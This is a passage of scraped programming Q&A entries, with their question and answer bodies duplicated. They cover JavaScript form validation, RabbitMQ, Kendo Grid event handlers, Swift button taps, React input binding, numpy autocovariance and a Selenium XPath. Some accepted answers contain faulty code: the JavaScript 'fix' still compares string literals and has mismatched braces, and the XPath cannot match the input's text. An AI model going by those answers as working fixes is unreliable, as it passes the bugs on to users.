 @ProcessAction(name = "testURL")
    public void addBook(ActionRequest actionRequest,ActionResponse actionResponse) throws SystemException {
      String a = ParamUtil.getString(actionRequest, "primaryKey");
      System.out.println("Value is "+a);

    }
}

have you found anything that you missed code?


问:
External JavaScript file not running
I've tried running the following E-mail list application on Chrome but can't seem to get the JavaScript to execute.  The HTML works fine.  Any suggestions or best practices for this application to work?  I've included the external JavaScript file too:

```<code><!DOCTYPE html>
<html>
<head>
<meta charset=”UTF-8”>
<title>Join E-mail List</title>
<script src = "index.js"></script>
</head>
<body>
<main>
<h1> Please join our email list</h1>
<form id=”email_form” name=”email_form”
action=”join.html” method=”get”>
<label for=”email_address1”>E-mail Address:</label>
<input type=”text” id=”email_address1” name=”email_address1”>
<span id=”email_address1_error”>*</span><br>

<label for=”email_address2”>Re-enter E-mail Address:</label>
<input type=”text” id=”email_address2” name=”email_address2”>
<span id=”email_address2_error”>*</span><br>

<label for="first_name">Name:</label>
<input type="text" id="first_name" name="first_name">
<span id="first_name_error">*</span><br>

<label> </label>
<input type="button" id="join_list" value="Join Our List">
</form>
</main>
</body>
</html>
enter code here
</code>```

External JavaScript file (index.js)

```<code>/* This application validates a user's entry for joining our E-mail
    list
*/

<script>
var $ = function(id) {
return document.getElementById(id);

//This function gets and validates the user entries

var joinList = function() {
var emailAddress1 = $("email_address1").value;
var emailAddress1 = $("email_address2").value;
var firstName = $("first_name").value;
var isValid = true;

//This validates the first entry

if ("email_address1 = "") {
$ ("email_address1_error").firstChild.nodeValue = "This is
required.";
isValid = false;

if (email_address2 = "") {
$ ("email_address2_error").firstChild.nodeValue = "This is
required.";
isValid = false;

if ("first_name = "") {
$ ("first_name_error").firstChild.nodeValue = "First name is
required.";

}
}
}
</script>
</code>```

答:
Content of index.js should be fixed:</p>

```<code>var $ = function(id) {
return document.getElementById(id);

//This function gets and validates the user entries

var joinList = function() {
var emailAddress1 = $("email_address1").value;
var emailAddress1 = $("email_address2").value;
var firstName = $("first_name").value;
var isValid = true;

//This validates the first entry

if ("email_address1" == "") {
$ ("email_address1_error").firstChild.nodeValue = "This is required.";
isValid = false;

if ("email_address2" == "") {
$ ("email_address2_error").firstChild.nodeValue = "This is required.";
isValid = false;

if ("first_name" == "") {
$ ("first_name_error").firstChild.nodeValue = "First name is required.";

}
}
}
}
</code>```

Title: External JavaScript file not running

Body:
I've tried running the following E-mail list application on Chrome but can't seem to get the JavaScript to execute.  The HTML works fine.  Any suggestions or best practices for this application to work?  I've included the external JavaScript file too:

<!DOCTYPE html>

<meta charset=”UTF-8”>
<title>Join E-mail List</title>

 Please join our email list

<form id=”email_form” name=”email_form”
action=”join.html” method=”get”>
E-mail Address:
<input type=”text” id=”email_address1” name=”email_address1”>
*

Re-enter E-mail Address:
<input type=”text” id=”email_address2” name=”email_address2”>
*

Name:
<input type="text" id="first_name" name="first_name">
*

<input type="button" id="join_list" value="Join Our List">
</form>

enter code here

External JavaScript file (index.js)

/* This application validates a user's entry for joining our E-mail
    list
*/

Body:
Content of index.js should be fixed:

var $ = function(id) {
return document.getElementById(id);

//This function gets and validates the user entries

var joinList = function() {
var emailAddress1 = $("email_address1").value;
var emailAddress1 = $("email_address2").value;
var firstName = $("first_name").value;
var isValid = true;

//This validates the first entry

if ("email_address1" == "") {
$ ("email_address1_error").firstChild.nodeValue = "This is required.";
isValid = false;

if ("email_address2" == "") {
$ ("email_address2_error").firstChild.nodeValue = "This is required.";
isValid = false;

if ("first_name" == "") {
$ ("first_name_error").firstChild.nodeValue = "First name is required.";

}
}
}
}


问:
Can you direct me to a good implementation of pub sub in java
rabbitmq implementation will help a lot.
10x</p>

答:
Here's a producer-consumer example for RabbitMQ:

http://neopatel.blogspot.com/2009/08/rabbitmq-java-clients-for-beginners.html


问:
Automatically attach app extension to debugger
I'm just wondering if there is an easy way to have my app extension attached to debugger after the containing app is launched. So right now I hit run button then go to Debug menu and attach my process. Is there a way to automate this process to have my app extension attached after I run the containing app?</p>

答: At the moment there are no other solutions than the one mentioned in the question</p>


问:
Function being called multiple times after the first time (Kendo Grid)
I don't even know where to begin. I'm using Kendo Grid to list data sourced from a server. Everything is fine on first load including when I add additional functions and dom elements in the dataBound function. Calls to the server seemingly update (sync) the Grid just fine. BUT, it seems the dataBound function is called an additional time the second time round. Performing an on click function coded in the dataBound performs it a total of 4 times. How do I test for where the issue is and what do I need to destroy to stop this infuriating behaviour?

I don't even know what code to give you save for pasting in my whole website. What is the underlying theory behind this behaviour because there's obviously something I am fundamentally missing about how javascript, and therefore Kondo, works? How do I test for this, please. Thanks!

答:
A quick solution might be to use off() then on() in the databound e.g.

```<code>$(".cell").off("click").on("click", function(e){ ... });
</code>```

this will get rid of previously attached handlers and ensure you only have one.

Even better, use event delegation outside of the Grid generating code.

```<code>$(document).on("click", ".cell", function(e) { ... });
</code>```

With event delegation, the target of the event does not have to exist at the time the event handler is setup. In the example above, the click is on the document object which already exists, but the handler will only fire if an element with the class 'cell' is actually clicked. You can define this handler once in the document.ready before the grid is even created.

Body:
A quick solution might be to use off() then on() in the databound e.g.

$(".cell").off("click").on("click", function(e){ ... });

this will get rid of previously attached handlers and ensure you only have one.

Even better, use event delegation outside of the Grid generating code.

$(document).on("click", ".cell", function(e) { ... });

With event delegation, the target of the event does not have to exist at the time the event handler is setup. In the example above, the click is on the document object which already exists, but the handler will only fire if an element with the class 'cell' is actually clicked. You can define this handler once in the document.ready before the grid is even created.


问:
iOS Swift Buttons Not Responding In View
I have written a class where a view is displayed that has a UITextView and a couple of buttons.  Everything works except the buttons don't respond to a tap.  Below is what I think is the relevant code in my class:

```<code>class FullPrompt:UIViewController {
    var canceledPressedCallback:(()->()?)?=nil
    var okPressedCallback:((_ txt: String)->()?)? = nil
    var popupView = UIView()
    var field = UITextView()
    var parentView = UIView()

    func prompt(_ message:String,view: UIViewController,numberInput: Bool, callback: @escaping (_ txt: String)->()) {
        prompt(message, view: view, numberInput: numberInput, callback: callback,cancelCallback: nil,defaultText: "")
    }

    func prompt(_ prompt:String,view: UIViewController,numberInput: Bool, callback: @escaping (_ txt: String)->(), cancelCallback: (()->())?,defaultText: String) {
        canceledPressedCallback=cancelCallback
        okPressedCallback=callback

        let cancelButton=UIButton(frame: CGRect(x: 10, y: y, width: 70, height: 32))
        cancelButton.setTitle("Cancel", for: .normal)
        cancelButton.addTarget(self, action: #selector(cancelButtonPressed(_:)), for: .touchUpInside)
        popupView.addSubview(cancelButton)
        let okButton=UIButton(frame: CGRect(x: 210, y: y, width: 70, height: 32))
        okButton.setTitle("Ok", for: .normal)
        okButton.setTitleColor(UIColor.blue, for: .normal)
        okButton.addTarget(self, action: #selector(okButtonPressed(_:)), for: .touchUpInside)
        popupView.addSubview(okButton)
        view.view.addSubview(popupView)
    }

    func cancelButtonPressed(_ sender: UIButton ) {
        popupView.removeFromSuperview()
        if canceledPressedCallback != nil {
            canceledPressedCallback!()
        }
    }

    func okButtonPressed(_ sender: UIButton) {
        popupView.removeFromSuperview()
        okPressedCallback!(field.text)
    }
}
</code>```

What am I doing wrong?

答: I got it figured out.  My mistake was adding a view property (popupView) within my class.  Since my class was a subclass of UIViewController, I needed to add my subviews to the view property of the class, not create another view.  So, basically, wherever I add adding something to popupView, I just replaced it with self.view.  They the buttons worked fine.</p>

Body:
I have written a class where a view is displayed that has a UITextView and a couple of buttons.  Everything works except the buttons don't respond to a tap.  Below is what I think is the relevant code in my class:

class FullPrompt:UIViewController {
    var canceledPressedCallback:(()->()?)?=nil
    var okPressedCallback:((_ txt: String)->()?)? = nil
    var popupView = UIView()
    var field = UITextView()
    var parentView = UIView()

    func prompt(_ message:String,view: UIViewController,numberInput: Bool, callback: @escaping (_ txt: String)->()) {
        prompt(message, view: view, numberInput: numberInput, callback: callback,cancelCallback: nil,defaultText: "")
    }

    func prompt(_ prompt:String,view: UIViewController,numberInput: Bool, callback: @escaping (_ txt: String)->(), cancelCallback: (()->())?,defaultText: String) {
        canceledPressedCallback=cancelCallback
        okPressedCallback=callback

        let cancelButton=UIButton(frame: CGRect(x: 10, y: y, width: 70, height: 32))
        cancelButton.setTitle("Cancel", for: .normal)
        cancelButton.addTarget(self, action: #selector(cancelButtonPressed(_:)), for: .touchUpInside)
        popupView.addSubview(cancelButton)
        let okButton=UIButton(frame: CGRect(x: 210, y: y, width: 70, height: 32))
        okButton.setTitle("Ok", for: .normal)
        okButton.setTitleColor(UIColor.blue, for: .normal)
        okButton.addTarget(self, action: #selector(okButtonPressed(_:)), for: .touchUpInside)
        popupView.addSubview(okButton)
        view.view.addSubview(popupView)
    }

    func cancelButtonPressed(_ sender: UIButton ) {
        popupView.removeFromSuperview()
        if canceledPressedCallback != nil {
            canceledPressedCallback!()
        }
    }

    func okButtonPressed(_ sender: UIButton) {
        popupView.removeFromSuperview()
        okPressedCallback!(field.text)
    }
}

What am I doing wrong?


问:
In React, how to bind an input's value when rendering a list of inputs?
I'm rendering a list of inputs and I want to bind each input's value to a link's href. My current attempt renders https://twitter.com/intent/tweet?text=undefined:

```<code>class App extends React.Component {
  tweets = [
    { id: 1, link: 'example.com' },
    { id: 2, link: 'example2.com' }
  ];

  render() {
    return (
      <div>
        {this.tweets.map(tweet =>
          <div key={tweet.id}>
            <input type="text" placeholder="text" onChange={e => tweet.text = e.target.value} />
            <a href={`https://twitter.com/intent/tweet?text=${tweet.text}`}>Tweet</a>
          </div>
        )}
      </div>
    );
  }
}
</code>```

This probably needs to involve setState but I have no idea how to achieve that when rendering a list. I've tried to do some research on this but didn't found anything helpful.

JSFiddle: https://jsfiddle.net/nunoarruda/u5c21wj9/3/

Any ideas?

答:
You can reach the desired result using state.

```<code>return (
  <div>
     {tweets.map(({ id, link }) =>
       <div key={id}>
         <input type="text" placeholder="text" onChange={({ target }) => this.setState({ [id]: target.value })} />
         <a href={`https://twitter.com/intent/tweet?text=${this.state[id] || link}`}>Tweet</a>
       </div>
     )}
   </div>
);
</code>```

Note: I would move tweets outside the component and implement few ES6 features.

Updated Jsfiddle: https://jsfiddle.net/u5c21wj9/7/

Body:
I'm rendering a list of inputs and I want to bind each input's value to a link's href. My current attempt renders https://twitter.com/intent/tweet?text=undefined:

class App extends React.Component {
  tweets = [
    { id: 1, link: 'example.com' },
    { id: 2, link: 'example2.com' }
  ];

  render() {
    return (

        {this.tweets.map(tweet =>

            <input type="text" placeholder="text" onChange={e => tweet.text = e.target.value} />
            <a href={`https://twitter.com/intent/tweet?text=${tweet.text}`}>Tweet

        )}

    );
  }
}

This probably needs to involve setState but I have no idea how to achieve that when rendering a list. I've tried to do some research on this but didn't found anything helpful.

JSFiddle: https://jsfiddle.net/nunoarruda/u5c21wj9/3/

Any ideas?

Body:
You can reach the desired result using state.

return (
  <div>
     {tweets.map(({ id, link }) =>
       <div key={id}>
         <input type="text" placeholder="text" onChange={({ target }) => this.setState({ [id]: target.value })} />
         <a href={`https://twitter.com/intent/tweet?text=${this.state[id] || link}`}>Tweet</a>
       </div>
     )}
   </div>
);

Note: I would move tweets outside the component and implement few ES6 features.

Updated Jsfiddle: https://jsfiddle.net/u5c21wj9/7/


问:
How to calculate auto-covariance in Python
I want to calculate auto-covariance of 3 arrays X1, X2 and Y which are all stationary random process. Is there any function in sciPy or other library can solve this problem?</p>

答:
A small tweak to the previous answers, which avoids python for loops and uses numpy array operations instead. This will be quicker if you have a lot of data.

```<code>def lagged_auto_cov(Xi,t):
    """
    for series of values x_i, length N, compute empirical auto-cov with lag t
    defined: 1/(N-1) * \sum_{i=0}^{N-t} ( x_i - x_s ) * ( x_{i+t} - x_s )
    """
    N = len(Xi)

    # use sample mean estimate from whole series
    Xs = np.mean(Xi)

    # construct copies of series shifted relative to each other,
    # with mean subtracted from values
    end_padded_series = np.zeros(N+t)
    end_padded_series[:N] = Xi - Xs
    start_padded_series = np.zeros(N+t)
    start_padded_series[t:] = Xi - Xs

    auto_cov = 1./(N-1) * np.sum( start_padded_series*end_padded_series )
    return auto_cov
</code>```

Comparing this against @bluevoxel's code, using a time-series of 50,000 data points and computing the auto-correlation for a single fixed value of lag, the python for loop code averaged about 30 milli-seconds and using numpy arrays averaged faster than 0.3 milli-seconds (running on my laptop).

Body:
A small tweak to the previous answers, which avoids python for loops and uses numpy array operations instead. This will be quicker if you have a lot of data.

def lagged_auto_cov(Xi,t):
    """
    for series of values x_i, length N, compute empirical auto-cov with lag t
    defined: 1/(N-1) * \sum_{i=0}^{N-t} ( x_i - x_s ) * ( x_{i+t} - x_s )
    """
    N = len(Xi)

    # use sample mean estimate from whole series
    Xs = np.mean(Xi)

    # construct copies of series shifted relative to each other,
    # with mean subtracted from values
    end_padded_series = np.zeros(N+t)
    end_padded_series[:N] = Xi - Xs
    start_padded_series = np.zeros(N+t)
    start_padded_series[t:] = Xi - Xs

    auto_cov = 1./(N-1) * np.sum( start_padded_series*end_padded_series )
    return auto_cov

Comparing this against @bluevoxel's code, using a time-series of 50,000 data points and computing the auto-correlation for a single fixed value of lag, the python for loop code averaged about 30 milli-seconds and using numpy arrays averaged faster than 0.3 milli-seconds (running on my laptop).


问:
How do I select this check box using Selenium/Java
Can someone help me create a path that will allow me to click this checkbox?

I have a page that features around 50 boxes like this one where the only difference is the text (in this case Answer Flow Designer). I am creating a script that will take a string array and iterate through it selecting each matching checkbox.

```<code><td class="normal">
    <input name="1.48.1.3.2.6.1.1.57.3" type="checkbox" value="0">Answer Flow Designer
</td>
</code>```

答:
```<code>//input[@type='checkbox' and contains(text(),'Answer Flow Designer')]
</code>```

Body:
Can someone help me create a path that will allow me to click this checkbox?

I have a page that features around 50 boxes like this one where the only difference is the text (in this case Answer Flow Designer). I am creating a script that will take a string array and iterate through it selecting each matching checkbox.

    <input name="1.48.1.3.2.6.1.1.57.3" type="checkbox" value="0">Answer Flow Designer